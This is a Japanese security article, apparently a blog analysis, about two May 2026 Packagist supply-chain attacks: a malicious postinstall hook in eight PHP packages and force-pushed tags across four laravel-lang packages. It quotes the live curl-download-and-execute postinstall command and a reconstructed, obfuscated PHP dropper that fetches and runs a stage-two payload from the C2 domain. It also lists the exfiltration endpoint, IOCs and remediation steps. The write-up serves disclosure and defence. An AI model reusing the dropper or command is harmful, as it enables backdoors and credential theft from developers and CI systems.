2026年5月22〜24日、PHPパッケージリポジトリPackagistで二つの独立したサプライチェーン攻撃が同時進行した。一つはSocketが「coordinated campaign」と呼ぶ8つのPHPパッケージへのGitHubホスト型Linuxバイナリ注入(以下攻撃A)、もう一つはAikido SecurityとSocketが同時期に検出したlaravel-lang/*の4パッケージ・計233バージョン全てを偽Gitタグで汚染する大規模攻撃(以下攻撃B)だ。
どちらも composer install や composer update の実行だけで感染が成立し、AWS・Kubernetes・CI/CD・ブラウザ保存パスワードまでを標的とする高度な認証情報窃取器が仕込まれていた。攻撃BのステージAは17モジュール・約5,900行のPHP製クレデンシャルスティーラーであり、その設計の精巧さは単なる機会主義的攻撃を超えている。攻撃Aで感染した8パッケージはすべて開発ブランチ(dev-main/dev-master)を追跡する版であり、Packagistのdev-branch参照という仕様を悪用した。攻撃Bはより根本的な問題——Gitタグの改ざん可能性とPackagistのミラー設計——を突いている。
PHPエコシステム最大のパッケージリポジトリで何が起きたのかを、Socket・Aikido Security・StepSecurityの一次分析をもとに技術的に詳解する。
PHPに限らないサプライチェーン攻撃の全防衛戦略は サプライチェーンセキュリティ2026|攻撃手法・防御ツール・実践チェックリスト をご覧ください。
二重攻撃の全容とタイムライン
2026年5月22日22:32 UTC、最初の異常がPackagistで検出された。laravel-lang/langリポジトリの全502タグが数秒間隔で連続更新され、Socketの自動監視がアラートを発した。同じ夜から翌23日にかけて、攻撃者はlaravel-lang/attributes(86タグ)、laravel-lang/http-statuses(全バージョン)、laravel-lang/actions(46タグ)と順次汚染を拡大した。攻撃Aは攻撃Bとは無関係のキャンペーンだが、同じ週に検出された点が特徴的だ。
攻撃Bのタイムライン(UTC)
| 日時 | イベント |
|---|---|
| 2026-05-22 22:32 | laravel-lang/lang 全502タグが悪意あるコミットに書き換え開始 |
| 2026-05-22 22:45頃 | laravel-lang/attributes 86タグ汚染 |
| 2026-05-23 00:00頃 | laravel-lang/http-statuses・laravel-lang/actions 汚染完了 |
| 2026-05-23 朝 | SocketがPackagistに報告。パッケージ一時非公開 |
| 2026-05-23 | Aikido Securityが独立して重大度100/100で報告 |
| 2026-05-23 | StepSecurityが4リポジトリ全てにセキュリティIssueを提出 |
| 2026-05-24 | 各リポジトリのタグが正規コミットへ差し戻し開始 |
攻撃A:8パッケージへのLinuxバイナリ注入
Socketが「coordinated campaign」と命名した攻撃Aは、8つのPackagistパッケージのpackage.jsonファイルにpostinstallライフサイクルフックを挿入する手法を用いた。PHPパッケージの中にNode.jsの設定ファイルが存在すること自体は異常ではない——多くのLaravelプロジェクトがnpmとComposerを同時使用する。攻撃者はこの正常な共存関係を悪用した。
moritz-sauer-13/silverstripe-cms-theme (dev-master)crosiersource/crosierlib-base (dev-master)devdojo/wave (dev-main)devdojo/genesis (dev-main)katanaui/katana (dev-main)elitedevsquad/sidecar-laravel (3.x-dev)r2luna/brain (dev-main)baskarcm/tzi-chat-ui (dev-main)
感染したのがすべて安定版(タグ付きリリース)ではなく開発ブランチ追跡版である点に注目する必要がある。Composerはデフォルトで安定版を選択するが、minimum-stability: devを指定した開発環境やdev-mainを明示的に要求するケースでは自動的に取得される。本番環境が安定版固定であっても、開発者のローカル環境やステージング環境が感染するリスクがある。
悪意あるpostinstallコマンドの詳細
攻撃者が挿入したpostinstallフックの実際のコードは次の通りだ。
curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &
このコマンドには複数の偽装技術が施されている。-skLフラグはエラー出力抑制・TLS検証無効・リダイレクト追跡を同時に実行し、gvfsd-networkというバイナリ名はGNOMEの正規VFSデーモンgvfsdを模倣している。投下先の/tmp/.sshdはSSHデーモンそのものを示唆するドットファイル名だ。末尾の&でバックグラウンド実行し、2>/dev/nullでエラーを完全に隠蔽する。
攻撃者のGitHubアカウントparikhpreyash4と攻撃リポジトリsystemd-network-helper-aa5c751fは、検出後約17時間でGitHubコード検索に数百件がヒットし、GitHub Actionsワークフローを含む700以上のリポジトリへの波及が確認されている。バイナリの完全なリバースエンジニアリング結果は非公開だが、Linuxバックドアまたはリモートアクセスツール(RAT)であると分析されている。
攻撃B:Laravel-Lang 4パッケージ・233バージョン全汚染
攻撃Bはより技術的に高度で被害規模も大きい。laravel-langorganizationが管理する4つのPHP多言語ライブラリパッケージで、GitHubの全タグを悪意あるコミットに強制書き換えした。
感染したパッケージの詳細
| パッケージ名 | GitHubスター | 汚染タグ数 | 主な用途 |
|---|---|---|---|
laravel-lang/lang |
7,800+ | 502タグ全て | Laravel多言語翻訳ファイル |
laravel-lang/attributes |
— | 86タグ全て | フォーム属性の翻訳 |
laravel-lang/http-statuses |
— | v1.0.0〜v3.4.5全て | HTTPステータスの翻訳 |
laravel-lang/actions |
— | 46タグ(v1.0.0〜v1.12.2) | アクション名の翻訳 |
4パッケージの合計で233以上の汚染バージョンがPackagistに登録された。汚染されたコミットは全て偽の身元(著者名「Your Name」、メール[email protected])を使用しており、正規コミットとの区別を意図的に困難にしている。
Gitタグ強制書き換えの仕組みと構造的問題
多くの開発者は「一度公開したパッケージバージョンは変更できない」と思い込んでいるが、ComposerとPackagistの実装はnpmとは根本的に異なる。
ComposerはPackagistに登録されたGitリポジトリのタグを定期的にミラーします。Gitタグは
git push --forceで任意のコミットに書き換え可能であり、Packagistはその変更を再ミラーします。つまり過去に公開されたバージョンであっても、攻撃者がリポジトリのアクセス権を取得すれば全バージョンの内容を改ざんできます。npmのimmutable tarball方式とは根本的に異なる設計です。またcomposer install(lockファイルが既にある場合)はSHAを固定しますが、composer updateを実行すると新しいSHAが取得されます。多くのCI/CDパイプラインは定期的にcomposer updateを実行しているため、感染リスクが継続します。
攻撃者はlaravel-langorganizationのリリースインフラ——GitHub Actionsデプロイキー、Organizationレベルのアクセストークン、または何らかの認証情報——を取得した。全タグを書き換えるまでにかかった時間はわずか数十分であり、自動化スクリプトの使用が確実だ。
攻撃フロー全体像
またはpackage.jsonを改ざん"] --> B{"攻撃の分岐"} B --> C["攻撃A
package.json postinstall改ざん"] B --> D["攻撃B
Gitタグ全件Force-push"] C --> E["npm install 実行
postinstallフック発火"] D --> F["composer update/install
悪意あるタグを取得"] E --> G["/tmp/.sshd として常駐実行
バックドア/RAT起動"] F --> H["autoload.files経由
PHPドロッパー自動実行"] H --> I["C2: flipboxstudio.info/payload
ステージ2取得"] I --> J["17モジュール・5900行スティーラー実行"] J --> K["AWS/K8s/CI/CD/ブラウザ
認証情報を収集・暗号化"] K --> L["POST flipboxstudio.info/exfil
送信後スティーラー自己削除"]
ステージ1:PHPドロッパー(src/helpers.php)の詳細解析
攻撃Bのペイロード中核はlaravel-lang/langパッケージのsrc/helpers.phpに仕込まれたドロッパーだ。このファイルはcomposer.jsonのautoload.filesに登録されており、vendor/autoload.phpが読み込まれるたびに——つまりLaravelアプリケーションのあらゆるリクエスト起動時に——自動実行される。
<?php
// src/helpers.php(解析・再現コード。実際のコードはSocket/Aikidoのレポート参照)
$_c = array_map('chr', [102,108,105,112,98,111,120,115,116,117,100,105,111,46,105,110,102,111]);
$_d = implode('', $_c); // "flipboxstudio.info" に復元
$_h = md5(dirname(__FILE__) . gethostname() . fileinode(__FILE__));
$_m = sys_get_temp_dir() . '/.laravel_locale/' . $_h;
if (!file_exists($_m)) {
@mkdir(sys_get_temp_dir() . '/.laravel_locale/', 0777, true);
touch($_m); // 感染マーカーを作成(再実行防止)
stream_context_set_default(['ssl' => ['verify_peer' => false]]);
$_p = file_get_contents('https://' . $_d . '/payload');
if ($_p) {
$_f = sys_get_temp_dir() . '/.laravel_locale/' . bin2hex(random_bytes(6)) . '.php';
file_put_contents($_f, $_p);
if (PHP_OS_FAMILY === 'Windows') {
$_v = sys_get_temp_dir() . '/.laravel_locale/' . bin2hex(random_bytes(4)) . '.vbs';
file_put_contents($_v, "Set ws = CreateObject(\"WScript.Shell\")\r\nws.Run \"php " . $_f . "\", 0");
exec('cscript //nologo ' . $_v);
} else {
exec('php ' . $_f . ' > /dev/null 2>&1 &');
}
}
}
①C2ドメイン難読化:文字コード配列(
array_map('chr', [...]))でC2ドメインを分解。シグネチャベースの静的スキャンを回避。flipboxstudio.infoは正規サービスflipboxstudio.comのタイポスクワット。②再実行防止マーカー:
/tmp/.laravel_locale/md5ハッシュをマーカーとして作成。Laravelアプリが何度再起動してもドロッパーが1回しか動かない(同時にIOCとなる)。③クロスプラットフォーム対応:Linux/macOSは
exec("php ...")でバックグラウンド実行、WindowsはVBSランチャー(.vbs)を生成してcscript経由で実行。④TLS証明書検証無効化:
verify_peer: falseでSSL検証を無効にしてC2との通信を確保。企業内のSSL/TLSインスペクション環境でも動作する。
ステージ2:17モジュール・5,900行の認証情報窃取器
ステージ1ドロッパーがflipboxstudio.info/payloadから取得するステージ2は約5,900行のPHPファイルだ。17の専門化されたコレクターモジュールで構成されており、対象システム上のほぼ全ての認証情報を網羅的に狙う。
ステージ2ペイロード:17モジュール対象一覧
| カテゴリ | 対象システム | 主な窃取対象 |
|---|---|---|
| クラウド基盤 | AWS EC2 IMDS・GCP・Azure・DigitalOcean・Heroku・Vercel・Netlify | IAMキー・サービスアカウントトークン |
| コンテナ基盤 | Kubernetes Service Account | Bearerトークン・kubeconfig |
| シークレット管理 | HashiCorp Vault | トークン・全シークレット再帰取得 |
| CI/CD | Jenkins・GitLab Runner・GitHub Actions・CircleCI・ArgoCD・BitBucket | マスターキー・シークレット変数 |
| SSH/Git | .ssh/id_rsa等・.gitconfig・.git-credentials・.netrc | SSH秘密鍵・リポジトリ認証情報 |
| ブラウザ | Chrome/Edge/Brave等17種+Firefox+Thunderbird | 保存パスワード・クッキー・App-Bound Encryption突破 |
| パスワードマネージャー | 1Password・Bitwarden・LastPass・KeePass・Dashlane・NordPass | マスターデータベース |
| 暗号資産 | Bitcoin・Ethereum・Monero・MetaMask・Phantom・Trust Wallet・Electrum | ウォレットファイル・シードフレーズ |
| メッセージング | Discord・Slack | トークン(LevelDB抽出) |
| コンテナ | Docker | Registry認証情報 |
| VPN | OpenVPN・WireGuard・NordVPN・ProtonVPN・Mullvad・ExpressVPN | 設定ファイル・認証情報 |
| 環境変数 | .env・wp-config.php・shell history | APIキー・DBパスワード・Laravel APP_KEY |
| Windows固有 | Credential Manager・RDPファイル・PuTTY/WinSCP | 保存セッション・パスワード |
| FTP/メール | FileZilla・CoreFTP・Outlook・Thunderbird | FTP認証・メールパスワード |
| Linuxプロセス | /proc/pid/environ・/proc/pid/cmdline | 実行中プロセスの環境変数 |
| アプリキー | Laravel APP_KEY・データベース設定 | アプリ暗号化キー・DB認証情報 |
| Chromiumバイパス | Chrome v127+ App-Bound Encryption | 組み込みDebugChromium.exeで復号 |
特筆すべきはChrome v127以降で導入されたApp-Bound Encryptionを突破する専用バイナリ(DebugChromium.exe)がペイロードに組み込まれている点だ。Googleのセキュリティ強化に対するゼロデイ的アプローチであり、高い開発コストを示している。
窃取したデータはXORキーk9X2mP7vL4nQ8wR1で暗号化後、POST https://flipboxstudio.info/exfilへ送信される。送信完了後はスティーラー自身が自己削除し、フォレンジックトレースを最小化する。
C2インフラとドメイン詐称
攻撃Bで使用されたC2インフラは次の構成を持つ。
| エンドポイント | 役割 |
|---|---|
https://flipboxstudio.info/payload |
ステージ2スティーラーの配信 |
https://flipboxstudio.info/exfil |
窃取した認証情報の受信 |
flipboxstudio.infoは日本のフロントエンドスタジオflipboxstudio.comのタイポスクワットだ。ドメイン選択は意図的であり、セキュリティツールのブロックリストや開発者の目視確認を回避するために正規ドメインに酷似させている。このC2インフラは攻撃者が事前に準備したものと考えられ、即興の攻撃ではなく計画された侵害であることを示唆する。
IOC(侵害の痕跡)完全一覧
・攻撃者GitHubアカウント:
parikhpreyash4・攻撃インフラリポジトリ:
parikhpreyash4/systemd-network-helper-aa5c751f・バイナリ偽装名:
gvfsd-network(GNOMEのgvfsdを模倣)・投下先:
/tmp/.sshd(SSHデーモンを模倣)・実行パターン: バックグラウンドプロセスとして常駐
・通信: GitHubリリースURLへのHTTPS(curl経由)
・C2ドメイン:
flipboxstudio[.]info(ブラックリスト登録推奨)・感染マーカーディレクトリ:
/tmp/.laravel_locale/(存在する場合は感染の証拠)・マーカーファイル:
/tmp/.laravel_locale/<32文字md5ハッシュ>・スティーラー本体:
/tmp/.laravel_locale/<12文字16進数>.php・Windowsランチャー:
/tmp/.laravel_locale/<8文字16進数>.vbs・改ざんコミット著者: 「Your Name」<[email protected]>
・アウトバウンド通信: HTTPS to flipboxstudio.info(/payload・/exfil)
・異常プロセス:
phpプロセスがppid=1(initの子として孤立実行)
今すぐ実施すべき緊急対処手順
Step 1:感染確認
# 攻撃B: マーカーディレクトリの存在確認
ls -la /tmp/.laravel_locale/ 2>/dev/null && echo "=== 感染の疑いあり ===" || echo "マーカーなし"
# 攻撃B: composer.lockでlaravel-lang系パッケージのSHA確認
grep -A5 '"laravel-lang/lang"' composer.lock | grep '"reference"'
# 2026-05-22 22:32 UTC以降のSHAが含まれていれば汚染版
# 攻撃A: 不審なバックグラウンドプロセスの確認
ps aux | grep -E '\.sshd|gvfsd-network' | grep -v grep
ls -la /tmp/.sshd 2>/dev/null && echo "=== 攻撃A感染の可能性あり ===" || echo "なし"
# C2ドメインへの通信履歴確認
grep -r "flipboxstudio" /var/log/ 2>/dev/null | head -10
Step 2:感染が確認された場合の対処
1. C2遮断:
flipboxstudio.infoをDNS/ファイアウォールでブロック。スティーラーの再実行と追加のC2通信を停止する。2. シークレット全ローテーション:AWS IAMキー・GitHub PAT・Kubernetes Service Accountトークン・HashiCorp Vaultトークン・SSH秘密鍵・Dockerレジストリ認証・データベースパスワード・Laravel APP_KEYを全て無効化・再発行。スティーラーが何を収集したか確定できないため全数ローテーションが必要。
3. ホスト再構築:感染したコンテナ/VMはクリーンイメージから再作成。感染ホストのメモリやファイルシステムは信頼できない。
4. Gitタグ差し戻し(メンテナ向け):攻撃者がforce-pushしたタグを正規コミットSHAに戻し、Packagistの再ミラーを確認する。
5. ログ保全:ホスト削除前に/var/log・CloudWatch・Webアクセスログをアーカイブする。フォレンジック調査・インシデントレポートに必要。
Step 3:再発防止の設定
# Gitタグ保護の有効化(GitHub CLI)
# Organizationのリポジトリ設定でforce-pushを無効化
gh api repos/OWNER/REPO/branches/main/protection \
--method PUT \
-f "required_status_checks[strict]=true" \
-f "enforce_admins=true" \
-f "restrictions=null"
# composer.lockのSHA整合性検証(CI/CDパイプラインに追加)
composer validate --no-check-publish --strict
# StepSecurity Harden-Runnerでネットワーク通信を監視・制限
# .github/workflows/composer.yml に追加:
# - uses: step-security/harden-runner@v2
# with:
# egress-policy: audit # 初期はauditで学習、その後blockへ
npmとComposerのパッケージ不変性比較
攻撃Bが可能だったのは、Composerの設計思想とnpmのそれとが根本的に異なるためだ。
| 観点 | npm | Composer/Packagist |
|---|---|---|
| バージョンの不変性 | tarballは一度公開すると変更不可(72時間後) | GitタグはForce-pushで書き換え可能 |
| ソース保管方式 | レジストリがtarballを保持 | GitHubリポジトリをミラー参照(変更が即反映) |
| ソース検証 | package-lock.jsonで整合性チェック | composer.lockにSHA記録(updateで上書き可) |
| セキュリティスキャン | npm auditが標準装備 | composer audit(2.4以降)は普及途上 |
| install-timeスクリプト | scripts.postinstall | autoload.files(PHP実行時に自動ロード) |
| パッケージ取り下げ | 通常困難・72時間ルール | 管理者による即時非公開が可能 |
根本的な問題は「Packagistはtarballを保持せず、常に上流Gitリポジトリを参照する」という設計にある。これはフレキシブルだが、上流リポジトリが侵害されると過去の全バージョンが遡及的に汚染されうる。
この問題はComposerチームも把握しており、将来のバージョンでimmutable reference機能の検討が進んでいる。現時点での対策はGitHubリポジトリのタグ保護ルール設定と、CI/CDでのcomposer install(lockファイル固定)の徹底使用だ。
Socket AIによる検出の仕組み
今回の攻撃検出でSocketが中心的な役割を果たした。Socketのリアルタイム監視はパッケージの振る舞いベースラインを継続学習しており、今回は以下の異常シグナルを自動検出した。
laravel-lang/langの全502タグが数秒間隔で連続更新——通常の速度の数百倍の異常パターン- 新コミットの著者が一律「Your Name」
<[email protected]>——明らかに偽装された身元 src/helpers.phpの新規追加——過去バージョン履歴に存在しないファイルautoload.filesへのphpファイル登録——install-time自動実行を示す高リスク指標
攻撃Aについては、package.jsonのpostinstallフックに外部URLへのcurl + chmod + バックグラウンド実行という組み合わせパターンを静的解析で検出した。Socketはこのパターンを「install-time malware indicator」として高リスクスコアを付与する。
Socketは無料プランで利用可能。GitHubリポジトリとの統合でPull Requestに自動スキャン結果を表示できる。
npm install -g @socket/cli でCLIをインストール後、socket scan コマンドでローカルスキャンも可能。ComposerプロジェクトはSocket PHPスキャナー(ベータ版)で対応。
2026年PHPサプライチェーン攻撃の大局観
今回の攻撃は孤立した事件ではない。2026年は複数エコシステムを横断するサプライチェーン攻撃の急増が顕著な年だ。PHP/Packagistは2026年に入ってから特に標的となっており、背景にはLaravelエコシステムの企業採用増加とCI/CD環境でのComposer利用拡大がある。
- 2026年4月30日:
intercom/[email protected]がMini Shai-Huludキャンペーンの一環として汚染(Socket検出まで14分) - 2026年5月12日: TanStack公式@tanstack/*にマルウェア混入|205パッケージに広がるMini Shai-Huludワームがnpmエコシステムを直撃
- 2026年5月13日: RubyGems新規登録停止|BufferZoneCorpサプライチェーン攻撃の全容と該当パッケージ確認手順でRubyGemsが初の新規登録停止
- 2026年5月19日: @antv npmに不正コード混入|Mini Shai-HuludがAnt Design可視化323パッケージを22分で汚染で323パッケージが22分で汚染
- 2026年5月22〜24日: 今回のPackagist二重攻撃
これらに共通する特徴は認証情報窃取を最終目的とする高度なスティーラーと、既存の信頼されたパッケージを乗っ取る手法だ。攻撃者は単純なマルウェア配布よりも、盗んだCI/CDトークンやGitHub PATを使ったさらなる上流への伝播(ワーム化)を目指している。CI/CDパイプラインのセキュリティ強化についてはAIエージェント自動化ツール完全ガイド2026の「CI/CDセキュリティ統合」セクションも参考になる。
①単一言語のセキュリティ対策では不十分:LaravelプロジェクトはPHP(Composer)とNode.js(npm)の両方を監視する必要がある。
②CI/CDシークレットが最大のリスク:スティーラーの主要ターゲットはコードではなくCI/CDトークンとクラウドキー。最小権限原則と定期ローテーションが必須。
③lockファイルの固定とSHA検証:
composer install(updateではなく)を使用し、lockファイルのSHAを定期的にgit diffで検証する。④異常な依存関係変更の自動検出:SocketやDependabot Alertsで依存ライブラリの予期しない変更を自動検出する体制を整える。
まとめ
2026年5月のPackagist二重攻撃は、PHPエコシステムの構造的なセキュリティ課題を明確にした。Gitタグの書き換え可能性(攻撃B)とcross-ecosystem package.jsonフック(攻撃A)という異なる手法が同時に悪用された事実は、依存ライブラリのセキュリティ監視が特定のファイル形式や言語に限定できないことを示している。
特に攻撃Bのステージ2スティーラーが17モジュールでAWS・Kubernetes・HashiCorp Vault・CI/CDシークレット・ブラウザパスワード・暗号資産ウォレットを網羅的に標的とする設計は、PHPプロジェクトのCI/CD環境が持つ高い権限と機密情報への直接アクセスを攻撃者が正確に把握していることを示唆する。
1. Socket.devをCI/CDに統合:install-time挙動の自動スキャンで攻撃ABの両方を検出できる。無料プランから始められる。
2. GitHubタグ保護ルールを全Organizationリポジトリに適用:Settings > Branches > Protected Tags でForce-pushを無効化する。これだけで攻撃Bの手法を封じられる。
3. CI/CDで
composer updateを禁止しcomposer installに統一:lockファイルのSHAを固定することでGitタグ書き換えの影響を受けにくくなる。定期的なgit diff composer.lockでSHA変化を監視する。
参照ソース
- Socket — Malicious Postinstall Hook Found Across 700+ GitHub Repos
- Socket — Laravel-Lang Supply Chain Compromise
- Aikido Security — Supply Chain Attack Targets Laravel-Lang Packages with Credential Stealer
- StepSecurity — Laravel-Lang Tag Rewrite Analysis
- The Hacker News — Packagist Supply Chain Attack Infects 8 Packages Using GitHub-Hosted Linux Malware
- Semgrep — Malicious Intercom PHP Package Spreads Mini Shai-Hulud Attack to Packagist via Composer Plugin
- Aikido Security — Aikido Severity Score 100/100 Alert